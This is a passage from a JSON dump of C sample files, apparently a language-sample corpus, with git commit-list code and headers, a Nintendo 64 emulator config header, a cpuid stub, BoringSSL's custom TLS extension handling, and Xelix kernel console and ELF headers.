desc;\n\t}\n\treturn commit;\n}\n\n/*\n * Append a commit to the end of the commit_list.\n *\n * next starts by pointing to the variable that holds the head of an\n * empty commit_list, and is updated to point to the \"next\" field of\n * the last item on the list as new commits are appended.\n *\n * Usage example:\n *\n *     struct commit_list *list;\n *     struct commit_list **next = &list;\n *\n *     next = commit_list_append(c1, next);\n *     next = commit_list_append(c2, next);\n *     assert(commit_list_count(list) == 2);\n *     return list;\n */\nstruct commit_list **commit_list_append(struct commit *commit,\n\t\t\t\t\tstruct commit_list **next)\n{\n\tstruct commit_list *new = xmalloc(sizeof(struct commit_list));\n\tnew->item = commit;\n\t*next = new;\n\tnew->next = NULL;\n\treturn &new->next;\n}\n"
  },
  {
    "path": "samples/C/commit.h",
    "content": "#ifndef COMMIT_H\n#define COMMIT_H\n\n#include \"object.h\"\n#include \"tree.h\"\n#include \"strbuf.h\"\n#include \"decorate.h\"\n\nstruct commit_list {\n\tstruct commit *item;\n\tstruct commit_list *next;\n};\n\nstruct commit {\n\tstruct object object;\n\tvoid *util;\n\tunsigned int indegree;\n\tunsigned long date;\n\tstruct commit_list *parents;\n\tstruct tree *tree;\n\tchar *buffer;\n};\n\nextern int save_commit_buffer;\nextern const char *commit_type;\n\n/* While we can decorate any object with a name, it's only used for commits.. */\nextern struct decoration name_decoration;\nstruct name_decoration {\n\tstruct name_decoration *next;\n\tint type;\n\tchar name[1];\n};\n\nstruct commit *lookup_commit(const unsigned char *sha1);\nstruct commit *lookup_commit_reference(const unsigned char *sha1);\nstruct commit *lookup_commit_reference_gently(const unsigned char *sha1,\n\t\t\t\t\t      int quiet);\nstruct commit *lookup_commit_reference_by_name(const char *name);\n\n/*\n * Look up object named by \"sha1\", dereference tag as necessary,\n * get a commit and return it. If \"sha1\" does not dereference to\n * a commit, use ref_name to report an error and die.\n */\nstruct commit *lookup_commit_or_die(const unsigned char *sha1, const char *ref_name);\n\nint parse_commit_buffer(struct commit *item, const void *buffer, unsigned long size);\nint parse_commit(struct commit *item);\n\n/* Find beginning and length of commit subject. */\nint find_commit_subject(const char *commit_buffer, const char **subject);\n\nstruct commit_list *commit_list_insert(struct commit *item,\n\t\t\t\t\tstruct commit_list **list);\nstruct commit_list **commit_list_append(struct commit *commit,\n\t\t\t\t\tstruct commit_list **next);\nunsigned commit_list_count(const struct commit_list *l);\nstruct commit_list *commit_list_insert_by_date(struct commit *item,\n\t\t\t\t    struct commit_list **list);\nvoid commit_list_sort_by_date(struct commit_list **list);\n\nvoid free_commit_list(struct commit_list *list);\n\n/* Commit formats */\nenum cmit_fmt {\n\tCMIT_FMT_RAW,\n\tCMIT_FMT_MEDIUM,\n\tCMIT_FMT_DEFAULT = CMIT_FMT_MEDIUM,\n\tCMIT_FMT_SHORT,\n\tCMIT_FMT_FULL,\n\tCMIT_FMT_FULLER,\n\tCMIT_FMT_ONELINE,\n\tCMIT_FMT_EMAIL,\n\tCMIT_FMT_USERFORMAT,\n\n\tCMIT_FMT_UNSPECIFIED\n};\n\nstruct pretty_print_context {\n\tenum cmit_fmt fmt;\n\tint abbrev;\n\tconst char *subject;\n\tconst char *after_subject;\n\tint preserve_subject;\n\tenum date_mode date_mode;\n\tunsigned date_mode_explicit:1;\n\tint need_8bit_cte;\n\tint show_notes;\n\tstruct reflog_walk_info *reflog_info;\n\tconst char *output_encoding;\n};\n\nstruct userformat_want {\n\tunsigned notes:1;\n};\n\nextern int has_non_ascii(const char *text);\nstruct rev_info; /* in revision.h, it circularly uses enum cmit_fmt */\nextern char *logmsg_reencode(const struct commit *commit,\n\t\t\t     const char *output_encoding);\nextern char *reencode_commit_message(const struct commit *commit,\n\t\t\t\t     const char **encoding_p);\nextern void get_commit_format(const char *arg, struct rev_info *);\nextern const char *format_subject(struct strbuf *sb, const char *msg,\n\t\t\t\t  const char *line_separator);\nextern void userformat_find_requirements(const char *fmt, struct userformat_want *w);\nextern void format_commit_message(const struct commit *commit,\n\t\t\t\t  const char *format, struct strbuf *sb,\n\t\t\t\t  const struct pretty_print_context *context);\nextern void pretty_print_commit(const struct pretty_print_context *pp,\n\t\t\t\tconst struct commit *commit,\n\t\t\t\tstruct strbuf *sb);\nextern void pp_commit_easy(enum cmit_fmt fmt, const struct commit *commit,\n\t\t\t   struct strbuf *sb);\nvoid pp_user_info(const struct pretty_print_context *pp,\n\t\t  const char *what, struct strbuf *sb,\n\t\t  const char *line, const char *encoding);\nvoid pp_title_line(const struct pretty_print_context *pp,\n\t\t   const char **msg_p,\n\t\t   struct strbuf *sb,\n\t\t   const char *encoding,\n\t\t   int need_8bit_cte);\nvoid pp_remainder(const struct pretty_print_context *pp,\n\t\t  const char **msg_p,\n\t\t  struct strbuf *sb,\n\t\t  int indent);\n\n\n/** Removes the first commit from a list sorted by date, and adds all\n * of its parents.\n **/\nstruct commit *pop_most_recent_commit(struct commit_list **list,\n\t\t\t\t      unsigned int mark);\n\nstruct commit *pop_commit(struct commit_list **stack);\n\nvoid clear_commit_marks(struct commit *commit, unsigned int mark);\nvoid clear_commit_marks_for_object_array(struct object_array *a, unsigned mark);\n\n/*\n * Performs an in-place topological sort of list supplied.\n *\n *   invariant of resulting list is:\n *      a reachable from b => ord(b) < ord(a)\n *   in addition, when lifo == 0, commits on parallel tracks are\n *   sorted in the dates order.\n */\nvoid sort_in_topological_order(struct commit_list ** list, int lifo);\n\nstruct commit_graft {\n\tunsigned char sha1[20];\n\tint nr_parent; /* < 0 if shallow commit */\n\tunsigned char parent[FLEX_ARRAY][20]; /* more */\n};\ntypedef int (*each_commit_graft_fn)(const struct commit_graft *, void *);\n\nstruct commit_graft *read_graft_line(char *buf, int len);\nint register_commit_graft(struct commit_graft *, int);\nstruct commit_graft *lookup_commit_graft(const unsigned char *sha1);\n\nextern struct commit_list *get_merge_bases(struct commit *rev1, struct commit *rev2, int cleanup);\nextern struct commit_list *get_merge_bases_many(struct commit *one, int n, struct commit **twos, int cleanup);\nextern struct commit_list *get_octopus_merge_bases(struct commit_list *in);\n\nextern int register_shallow(const unsigned char *sha1);\nextern int unregister_shallow(const unsigned char *sha1);\nextern int for_each_commit_graft(each_commit_graft_fn, void *);\nextern int is_repository_shallow(void);\nextern struct commit_list *get_shallow_commits(struct object_array *heads,\n\t\tint depth, int shallow_flag, int not_shallow_flag);\n\nint is_descendant_of(struct commit *, struct commit_list *);\nint in_merge_bases(struct commit *, struct commit **, int);\n\nextern int interactive_add(int argc, const char **argv, const char *prefix, int patch);\nextern int run_add_interactive(const char *revision, const char *patch_mode,\n\t\t\t       const char **pathspec);\n\nstatic inline int single_parent(struct commit *commit)\n{\n\treturn commit->parents && !commit->parents->next;\n}\n\nstruct commit_list *reduce_heads(struct commit_list *heads);\n\nstruct commit_extra_header {\n\tstruct commit_extra_header *next;\n\tchar *key;\n\tchar *value;\n\tsize_t len;\n};\n\nextern void append_merge_tag_headers(struct commit_list *parents,\n\t\t\t\t     struct commit_extra_header ***tail);\n\nextern int commit_tree(const struct strbuf *msg, unsigned char *tree,\n\t\t       struct commit_list *parents, unsigned char *ret,\n\t\t       const char *author, const char *sign_commit);\n\nextern int commit_tree_extended(const struct strbuf *msg, unsigned char *tree,\n\t\t\t\tstruct commit_list *parents, unsigned char *ret,\n\t\t\t\tconst char *author, const char *sign_commit,\n\t\t\t\tstruct commit_extra_header *);\n\nextern struct commit_extra_header *read_commit_extra_headers(struct commit *, const char **);\nextern struct commit_extra_header *read_commit_extra_header_lines(const char *buf, size_t len, const char **);\n\nextern void free_commit_extra_headers(struct commit_extra_header *extra);\n\nstruct merge_remote_desc {\n\tstruct object *obj; /* the named object, could be a tag */\n\tconst char *name;\n};\n#define merge_remote_util(commit) ((struct merge_remote_desc *)((commit)->util))\n\n/*\n * Given \"name\" from the command line to merge, find the commit object\n * and return it, while storing merge_remote_desc in its ->util field,\n * to allow callers to tell if we are told to merge a tag.\n */\nstruct commit *get_merge_parent(const char *name);\n\nextern int parse_signed_commit(const unsigned char *sha1,\n\t\t\t       struct strbuf *message, struct strbuf *signature);\n#endif /* COMMIT_H */\n"
  },
  {
    "path": "samples/C/common.h.in",
    "content": "//\n// common.h: Common definitions and such.\n//\n// CEN64: Cycle-Accurate Nintendo 64 Emulator.\n// Copyright (C) 2015, Tyler J. Stachecki.\n//\n// This file is subject to the terms and conditions defined in\n// 'LICENSE', which is part of this source code package.\n//\n\n#ifndef __common_h__\n#define __common_h__\n\n#define tostring(s)\t#s\n#define stringify(s)\ttostring(s)\n\n#ifdef _MSC_VER\n#define inline _inline\n#endif\n\n#ifndef __cplusplus\n#include <assert.h>\n#include <stddef.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <string.h>\n#else\n#include <cassert>\n#include <cstddef>\n#include <cstdlib>\n#include <cstdint>\n#include <cstdio>\n#include <cstring>\n#endif\n\n#ifndef _MSC_VER\n#ifndef __cplusplus\n#include <stdbool.h>\n#else\n#include <cstdbool>\n#endif\n\n#else\ntypedef char bool;\n#define false 0\n#define true 1\n#endif\n\n#ifdef __llvm__\n#define CEN64_COMPILER \"llvm-\" stringify(__clang_major__)\".\" \\\n  stringify(__clang_minor__)\".\" stringify(__clang_patchlevel__)\n#elif defined(__GNUC__)\n#define CEN64_COMPILER \"gcc-\" stringify(__GNUC__)\".\" \\\n  stringify(__GNUC_MINOR__)\".\" stringify(__GNUC_PATCHLEVEL__)\n#elif defined(_MSC_VER)\n#if _MSC_VER < 1300\n#define CEN64_COMPILER \"MSVC 6.0\"\n#elif _MSC_VER < 1500\n#define CEN64_COMPILER \"MSVC 2005\"\n#elif _MSC_VER < 1600\n#define CEN64_COMPILER \"MSVC 2008\"\n#elif _MSC_VER < 1700\n#define CEN64_COMPILER \"MSVC 2010\"\n#elif _MSC_VER < 1800\n#define CEN64_COMPILER \"MSVC 2012\"\n#elif _MSC_VER < 1900\n#define CEN64_COMPILER \"MSVC 2013\"\n#elif _MSC_VER < 2000\n#define CEN64_COMPILER \"MSVC 2014\"\n#else\n#define CEN64_COMPILER \"MSVC\"\n#endif\n#else\n#define CEN64_COMPILER \"Unknown\"\n#endif\n\n#cmakedefine CEN64_ARCH_DIR \"@CEN64_ARCH_DIR@\"\n#cmakedefine CEN64_ARCH_SUPPORT \"@CEN64_ARCH_SUPPORT@\"\n\n#define CACHE_LINE_SIZE 64\n\n// Define cen64_align().\n#ifdef _MSC_VER\n#define cen64_align(decl, value) __declspec(align(value)) decl\n\n#elif (defined __GNUC__)\n#define cen64_align(decl, value) decl __attribute__ ((aligned(value)))\n\n#else\n#define cen64_align(decl, value) decl value\n#endif\n\n// Define cen64_cold and cen64_hot.\n#ifdef __GNUC__\n#define cen64_cold __attribute__((cold))\n#define cen64_hot __attribute__((hot))\n#else\n#define cen64_cold\n#define cen64_hot\n#endif\n\n// Define cen64_flatten.\n#ifdef __GNUC__\n#define cen64_flatten __attribute__((flatten))\n#else\n#define cen64_flatten\n#endif\n\n// Define likely()/unlikely().\n#ifdef __GNUC__\n#define likely(expr) __builtin_expect(!!(expr), !0)\n#define unlikely(expr) __builtin_expect(!!(expr), 0)\n\n#else\n#define likely(expr) expr\n#define unlikely(expr) expr\n#endif\n\n// Define unused().\n#ifdef __GNUC__\n#define unused(decl) __attribute__((unused)) decl\n#else\n#define unused(decl) decl\n#endif\n\n// Byte order swap functions.\n#ifdef BIG_ENDIAN_HOST\n#define WORD_ADDR_XOR 0\n#else\n#define WORD_ADDR_XOR 4\n#endif\n\n#ifndef _MSC_VER\n#ifdef BIG_ENDIAN_HOST\n#define htonll(x) (x)\n#define ntohll(x) (x)\n#else\n#ifndef __APPLE__\n#define htonll(x) __builtin_bswap64(x)\n#define ntohll(x) __builtin_bswap64(x)\n#endif\n#endif\n#endif\n\n#ifdef __GNUC__\n__attribute__((pure))\n#endif\nstatic inline uint32_t byteswap_32(uint32_t word) {\n#ifdef BIG_ENDIAN_HOST\n  return word;\n#elif defined(_MSC_VER)\n  return _byteswap_ulong(word);\n#elif defined(__GNUC__)\n  return __builtin_bswap32(word);\n#else\n  return\n  (((((word) >> 24) & 0x000000FF) | \\\n    (((word) >>  8) & 0x0000FF00) | \\\n    (((word) <<  8) & 0x00FF0000) | \\\n    (((word) << 24) & 0xFF000000));\n#endif\n}\n\n#ifdef __GNUC__\n__attribute__((pure))\n#endif\nstatic inline uint16_t byteswap_16(uint16_t hword) {\n#ifdef BIG_ENDIAN_HOST\n  return hword;\n#elif defined(_MSC_VER)\n  return _byteswap_ushort(hword);\n#elif defined(__GNUC__)\n  return __builtin_bswap16(hword);\n#else\n  return\n  ((((hword) >> 8) & 0x00FF) | \\\n    (((hword) <<  8) & 0xFF00));\n#endif\n}\n\n// Return from simulation function.\nstruct bus_controller;\n\n#ifdef __GNUC__\n __attribute__ ((noreturn))\n#endif\nvoid cen64_return(struct bus_controller *bus)\n;\n\n#cmakedefine DEBUG_MMIO_REGISTER_ACCESS\n#ifdef DEBUG_MMIO_REGISTER_ACCESS\n#ifndef __cplusplus\n#include <stdio.h>\n#else\n#include <cstdio>\n#endif\n#define debug_mmio_read(what, mnemonic, val) printf(#what\": READ [%s]: 0x%.8X\\n\", mnemonic, val)\n#define debug_mmio_write(what, mnemonic, val, dqm) printf(#what\": WRITE [%s]: 0x%.8X/0x%.8X\\n\", mnemonic, val, dqm)\n#else\n#define debug_mmio_read(what, mnemonic, val) do {} while (0)\n#define debug_mmio_write(what, mnemonic, val, dqm) do {} while (0)\n#endif\n\n#cmakedefine VR4300_BUSY_WAIT_DETECTION\n\n#include \"common/debug.h\"\n\n// Common/shared LUT with one-hot semantics.\n// Returns index (0-based) of hot bit, or -1.\nextern const int8_t cen64_one_hot_lut[256];\n\n#endif\n"
  },
  {
    "path": "samples/C/cpuid.h",
    "content": "#ifndef CPUID_H\n#define CPUID_H\n\n#include \"misc.h\"\n\nstatic inline void do_cpuid(dword_t *eax, dword_t *ebx, dword_t *ecx, dword_t *edx) {\n    dword_t leaf = *eax;\n    switch (leaf) {\n        case 0:\n            *eax = 0x01; // we support barely anything\n            *ebx = 0x756e6547; // Genu\n            *edx = 0x49656e69; // ineI\n            *ecx = 0x6c65746e; // ntel\n            break;\n        default: // if leaf is too high, use highest supported leaf\n        case 1:\n            *eax = 0x0; // say nothing about cpu model number\n            *ebx = 0x0; // processor number 0, flushes 0 bytes on clflush\n            *ecx = 0b00000000000000000000000000000000; // we support none of the features in ecx\n            *edx = 0b00000000000000000000000000000000; // we also support none of the features in edx\n            break;\n    }\n}\n\n#endif\n"
  },
  {
    "path": "samples/C/custom_extensions.c",
    "content": "/* Copyright (c) 2014, Google Inc.\n *\n * Permission to use, copy, modify, and/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY\n * SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION\n * OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN\n * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */\n\n#include <openssl/ssl.h>\n\n#include <assert.h>\n#include <string.h>\n\n#include <openssl/bytestring.h>\n#include <openssl/err.h>\n#include <openssl/mem.h>\n#include <openssl/stack.h>\n\n#include \"internal.h\"\n\n\nvoid SSL_CUSTOM_EXTENSION_free(SSL_CUSTOM_EXTENSION *custom_extension) {\n  OPENSSL_free(custom_extension);\n}\n\nstatic const SSL_CUSTOM_EXTENSION *custom_ext_find(\n    STACK_OF(SSL_CUSTOM_EXTENSION) *stack,\n    unsigned *out_index, uint16_t value) {\n  size_t i;\n  for (i = 0; i < sk_SSL_CUSTOM_EXTENSION_num(stack); i++) {\n    const SSL_CUSTOM_EXTENSION *ext = sk_SSL_CUSTOM_EXTENSION_value(stack, i);\n    if (ext->value == value) {\n      if (out_index != NULL) {\n        *out_index = i;\n      }\n      return ext;\n    }\n  }\n\n  return NULL;\n}\n\n/* default_add_callback is used as the |add_callback| when the user doesn't\n * provide one. For servers, it does nothing while, for clients, it causes an\n * empty extension to be included. */\nstatic int default_add_callback(SSL *ssl, unsigned extension_value,\n                                const uint8_t **out, size_t *out_len,\n                                int *out_alert_value, void *add_arg) {\n  if (ssl->server) {\n    return 0;\n  }\n  *out_len = 0;\n  return 1;\n}\n\nstatic int custom_ext_add_hello(SSL *ssl, CBB *extensions) {\n  STACK_OF(SSL_CUSTOM_EXTENSION) *stack = ssl->ctx->client_custom_extensions;\n  if (ssl->server) {\n    stack = ssl->ctx->server_custom_extensions;\n  }\n\n  if (stack == NULL) {\n    return 1;\n  }\n\n  size_t i;\n  for (i = 0; i < sk_SSL_CUSTOM_EXTENSION_num(stack); i++) {\n    const SSL_CUSTOM_EXTENSION *ext = sk_SSL_CUSTOM_EXTENSION_value(stack, i);\n\n    if (ssl->server &&\n        !(ssl->s3->tmp.custom_extensions.received & (1u << i))) {\n      /* Servers cannot echo extensions that the client didn't send. */\n      continue;\n    }\n\n    const uint8_t *contents;\n    size_t contents_len;\n    int alert = SSL_AD_DECODE_ERROR;\n    CBB contents_cbb;\n\n    switch (ext->add_callback(ssl, ext->value, &contents, &contents_len, &alert,\n                              ext->add_arg)) {\n      case 1:\n        if (!CBB_add_u16(extensions, ext->value) ||\n            !CBB_add_u16_length_prefixed(extensions, &contents_cbb) ||\n            !CBB_add_bytes(&contents_cbb, contents, contents_len) ||\n            !CBB_flush(extensions)) {\n          OPENSSL_PUT_ERROR(SSL, ERR_R_INTERNAL_ERROR);\n          ERR_add_error_dataf(\"extension: %u\", (unsigned) ext->value);\n          if (ext->free_callback && 0 < contents_len) {\n            ext->free_callback(ssl, ext->value, contents, ext->add_arg);\n          }\n          return 0;\n        }\n\n        if (ext->free_callback && 0 < contents_len) {\n          ext->free_callback(ssl, ext->value, contents, ext->add_arg);\n        }\n\n        if (!ssl->server) {\n          assert((ssl->s3->tmp.custom_extensions.sent & (1u << i)) == 0);\n          ssl->s3->tmp.custom_extensions.sent |= (1u << i);\n        }\n        break;\n\n      case 0:\n        break;\n\n      default:\n        ssl3_send_alert(ssl, SSL3_AL_FATAL, alert);\n        OPENSSL_PUT_ERROR(SSL, SSL_R_CUSTOM_EXTENSION_ERROR);\n        ERR_add_error_dataf(\"extension: %u\", (unsigned) ext->value);\n        return 0;\n    }\n  }\n\n  return 1;\n}\n\nint custom_ext_add_clienthello(SSL *ssl, CBB *extensions) {\n  return custom_ext_add_hello(ssl, extensions);\n}\n\nint custom_ext_parse_serverhello(SSL *ssl, int *out_alert, uint16_t value,\n                                 const CBS *extension) {\n  unsigned index;\n  const SSL_CUSTOM_EXTENSION *ext =\n      custom_ext_find(ssl->ctx->client_custom_extensions, &index, value);\n\n  if (/* Unknown extensions are not allowed in a ServerHello. */\n      ext == NULL ||\n      /* Also, if we didn't send the extension, that's also unacceptable. */\n      !(ssl->s3->tmp.custom_extensions.sent & (1u << index))) {\n    OPENSSL_PUT_ERROR(SSL, SSL_R_UNEXPECTED_EXTENSION);\n    ERR_add_error_dataf(\"extension: %u\", (unsigned)value);\n    *out_alert = SSL_AD_DECODE_ERROR;\n    return 0;\n  }\n\n  if (ext->parse_callback != NULL &&\n      !ext->parse_callback(ssl, value, CBS_data(extension), CBS_len(extension),\n                           out_alert, ext->parse_arg)) {\n    OPENSSL_PUT_ERROR(SSL, SSL_R_CUSTOM_EXTENSION_ERROR);\n    ERR_add_error_dataf(\"extension: %u\", (unsigned)ext->value);\n    return 0;\n  }\n\n  return 1;\n}\n\nint custom_ext_parse_clienthello(SSL *ssl, int *out_alert, uint16_t value,\n                                 const CBS *extension) {\n  unsigned index;\n  const SSL_CUSTOM_EXTENSION *ext =\n      custom_ext_find(ssl->ctx->server_custom_extensions, &index, value);\n\n  if (ext == NULL) {\n    return 1;\n  }\n\n  assert((ssl->s3->tmp.custom_extensions.received & (1u << index)) == 0);\n  ssl->s3->tmp.custom_extensions.received |= (1u << index);\n\n  if (ext->parse_callback &&\n      !ext->parse_callback(ssl, value, CBS_data(extension), CBS_len(extension),\n                           out_alert, ext->parse_arg)) {\n    OPENSSL_PUT_ERROR(SSL, SSL_R_CUSTOM_EXTENSION_ERROR);\n    ERR_add_error_dataf(\"extension: %u\", (unsigned)ext->value);\n    return 0;\n  }\n\n  return 1;\n}\n\nint custom_ext_add_serverhello(SSL *ssl, CBB *extensions) {\n  return custom_ext_add_hello(ssl, extensions);\n}\n\n/* MAX_NUM_CUSTOM_EXTENSIONS is the maximum number of custom extensions that\n * can be set on an |SSL_CTX|. It's determined by the size of the bitset used\n * to track when an extension has been sent. */\n#define MAX_NUM_CUSTOM_EXTENSIONS \\\n  (sizeof(((struct ssl3_state_st *)NULL)->tmp.custom_extensions.sent) * 8)\n\nstatic int custom_ext_append(STACK_OF(SSL_CUSTOM_EXTENSION) **stack,\n                             unsigned extension_value,\n                             SSL_custom_ext_add_cb add_cb,\n                             SSL_custom_ext_free_cb free_cb, void *add_arg,\n                             SSL_custom_ext_parse_cb parse_cb,\n                             void *parse_arg) {\n  if (add_cb == NULL ||\n      0xffff < extension_value ||\n      SSL_extension_supported(extension_value) ||\n      /* Specifying a free callback without an add callback is nonsensical\n       * and an error. */\n      (*stack != NULL &&\n       (MAX_NUM_CUSTOM_EXTENSIONS <= sk_SSL_CUSTOM_EXTENSION_num(*stack) ||\n        custom_ext_find(*stack, NULL, extension_value) != NULL))) {\n    return 0;\n  }\n\n  SSL_CUSTOM_EXTENSION *ext = OPENSSL_malloc(sizeof(SSL_CUSTOM_EXTENSION));\n  if (ext == NULL) {\n    return 0;\n  }\n  ext->add_callback = add_cb;\n  ext->add_arg = add_arg;\n  ext->free_callback = free_cb;\n  ext->parse_callback = parse_cb;\n  ext->parse_arg = parse_arg;\n  ext->value = extension_value;\n\n  if (*stack == NULL) {\n    *stack = sk_SSL_CUSTOM_EXTENSION_new_null();\n    if (*stack == NULL) {\n      SSL_CUSTOM_EXTENSION_free(ext);\n      return 0;\n    }\n  }\n\n  if (!sk_SSL_CUSTOM_EXTENSION_push(*stack, ext)) {\n    SSL_CUSTOM_EXTENSION_free(ext);\n    if (sk_SSL_CUSTOM_EXTENSION_num(*stack) == 0) {\n      sk_SSL_CUSTOM_EXTENSION_free(*stack);\n      *stack = NULL;\n    }\n    return 0;\n  }\n\n  return 1;\n}\n\nint SSL_CTX_add_client_custom_ext(SSL_CTX *ctx, unsigned extension_value,\n                                  SSL_custom_ext_add_cb add_cb,\n                                  SSL_custom_ext_free_cb free_cb, void *add_arg,\n                                  SSL_custom_ext_parse_cb parse_cb,\n                                  void *parse_arg) {\n  return custom_ext_append(&ctx->client_custom_extensions, extension_value,\n                           add_cb ? add_cb : default_add_callback, free_cb,\n                           add_arg, parse_cb, parse_arg);\n}\n\nint SSL_CTX_add_server_custom_ext(SSL_CTX *ctx, unsigned extension_value,\n                                  SSL_custom_ext_add_cb add_cb,\n                                  SSL_custom_ext_free_cb free_cb, void *add_arg,\n                                  SSL_custom_ext_parse_cb parse_cb,\n                                  void *parse_arg) {\n  return custom_ext_append(&ctx->server_custom_extensions, extension_value,\n                           add_cb ? add_cb : default_add_callback, free_cb,\n                           add_arg, parse_cb, parse_arg);\n}"
  },
  {
    "path": "samples/C/driver.h",
    "content": "#pragma once\n\n/* Copyright © 2011 Fritz Grimpen\n *\n * This file is part of Xelix.\n *\n * Xelix is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Xelix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Xelix. If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include <lib/generic.h>\n#include <console/info.h>\n\n#define CONSOLE_DRV_CAP_CLEAR 0x01\n#define CONSOLE_DRV_CAP_SCROLL  0x02\n#define CONSOLE_DRV_CAP_SET_CURSOR 0x04\n\n// Input modifier keys\ntypedef struct {\n\tbool shift_left:1;\n\tbool shift_right:1;\n\tbool control_left:1;\n\tbool control_right:1;\n\tbool alt:1;\n\tbool super:1;\n} console_modifiers_t;\n\ntypedef struct {\n\tchar character;\n\tconsole_modifiers_t* modifiers;\n} console_read_t;\n\ntypedef struct {\n\tint (*write)(console_info_t*, char);\n\tconsole_read_t* (*read)(console_info_t*);\n\n\tint capabilities;\n\n\tint (*_clear)(console_info_t*);\n\tint (*scroll)(console_info_t*, int32_t);\n\tvoid (*setCursor)(console_info_t*, uint32_t, uint32_t);\n} console_driver_t;\n"
  },
  {
    "path": "samples/C/elf.h",
    "content": "#pragma once\n\n/* Copyright © 2011 Lukas Martini\n *\n * This file is part of Xelix.\n *\n * Xelix is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Xelix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\tSee the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Xelix. If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include <lib/generic.h>\n#include <tasks/scheduler.h>\n\n#define ELF_TYPE_NONE 0\n#define ELF_TYPE_REL 1\n#define ELF_TYPE_EXEC 2\n#define ELF_TYPE_DYN 3\n#define ELF_TYPE_CORE 4\n\n#define ELF_ARCH_NONE 0\n#define ELF_ARCH_386 3\n\n#define ELF_VERSION_CURRENT 1\n\ntypedef struct {\n\tunsigned char magic[4];\n\t/* Note: There _is_ other stuff in here, but we don't need it */\n\tunsigned char pad[12]; \n} __attribute__((packed)) elf_ident_t;\n\ntypedef struct {\n\tuint32_t    type;\n\tuint32_t    offset;\n\tvoid*\t\tvirtaddr;\n\tvoid*\t\tphysaddr;\n\tuint32_t    filesize;\n\tuint32_t    memsize;\n\tuint32_t    flags;\n\tuint32_t    alignment;\n} __attribute__((packed)) elf_program_t;\n\ntypedef struct {\n\telf_ident_t ident;\n\tuint16_t\ttype;\t\t/* Object file type */\n\tuint16_t\tmachine;\t/* Architecture */\n\tuint32_t\tversion;\t/* Object file version */\n\tvoid*\t\tentry;\t\t/* Entry point virtual address */\n\tuint32_t\tphoff;\t\t/* Program header table file offset */\n\tuint32_t\tshoff;\t\t/* Section header table file offset */\n\tuint32_t\tflags;\t\t/* Processor-specific flags */\n\tuint16_t\tehsize;\t\t/* ELF header size in bytes */\n\tuint16_t\tphentsize;\t/* Program header table entry size */\n\tuint16_t\tphnum;\t\t/* Program header table entry count */\n\tuint16_t\tshentsize;\t/* Section header table entry size */\n\tuint16_t\tshnum;\t\t/* Section header table entry count */\n\tuint16_t\tshstrndx;\t/* Section header string table index */\n} __attribute__((packed)) elf_t;\n\ntask_t* elf_load(elf_t* bin, char* name, char** environ, char** argv, int argc);\ntask_t* elf_load_file(char* path, char** environ, char** argv, int argc);\n"
  },
  {
    "path": "samples/C/exception.zep.c",
    "content": "\n#ifdef HAVE_CONFIG_H\n#include \"../../ext_config.h\"\n#endif\n\n#include <php.h>\n#include \"../../php_ext.h\"\n#include \"../../ext.h\"\n\n#include <Zend/zend_operators.h>\n#include <Zend/zend_exceptions.h>\n#include <Zend/zend_interfaces.h>\n\n#include \"kernel/main.h\"\n\n\n/**\n * Test\\Router\\Exception\n *\n * Exceptions generated by the router\n */\nZEPHIR_INIT_CLASS(Test_Router_Exception) {\n\n    ZEPHIR_REGISTER_CLASS_EX(Test\\\\Router, Exception, test, router_exception, zend_exception_get_default(TSRMLS_C), NULL, 0);\n\n    return SUCCESS;\n\n}\n"
  },
  {
    "path": "samples/C/exception.zep.h",
    "content": "\nextern zend_class_entry *test_router_exception_ce;\n\nZEPHIR_INIT_CLASS(Test_Router_Exception);\n"
  },
  {
    "path": "samples/C/filter.h",
    "content": "#pragma once\n\n/* Copyright © 2011 Fritz Grimpen\n *\n * This file is part of Xelix.\n *\n * Xelix is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Xelix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Xelix. If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include <lib/generic.h>\n#include <console/info.h>\n#include <console/driver.h>\n\nstruct console_filter {\n\t// General callback for all actions etc.\n\t// Preferred prototype:\n\t// char <name>(char c, console_info_t *info, console_driver_t *input, console_driver_t *output);\n\tchar (*callback)(char, console_info_t*, console_driver_t*, console_driver_t*);\n\n\t// Specific callbacks for read and write\n\t// Preferred prototype:\n\t// char <name>(char c, console_info_t *info, console_driver_t *input);\n\tchar (*read_callback)(char, console_info_t*, console_driver_t*);\n\n\t// Preferred prototype:\n\t// char <name>(char c, console_info_t *info, console_driver_t *output);\n\tchar (*write_callback)(char, console_info_t*, console_driver_t*);\n\n\t// The next filter in the filter chain\n\tstruct console_filter* next;\n};\n\ntypedef struct console_filter console_filter_t;\n\n"
  },
  {
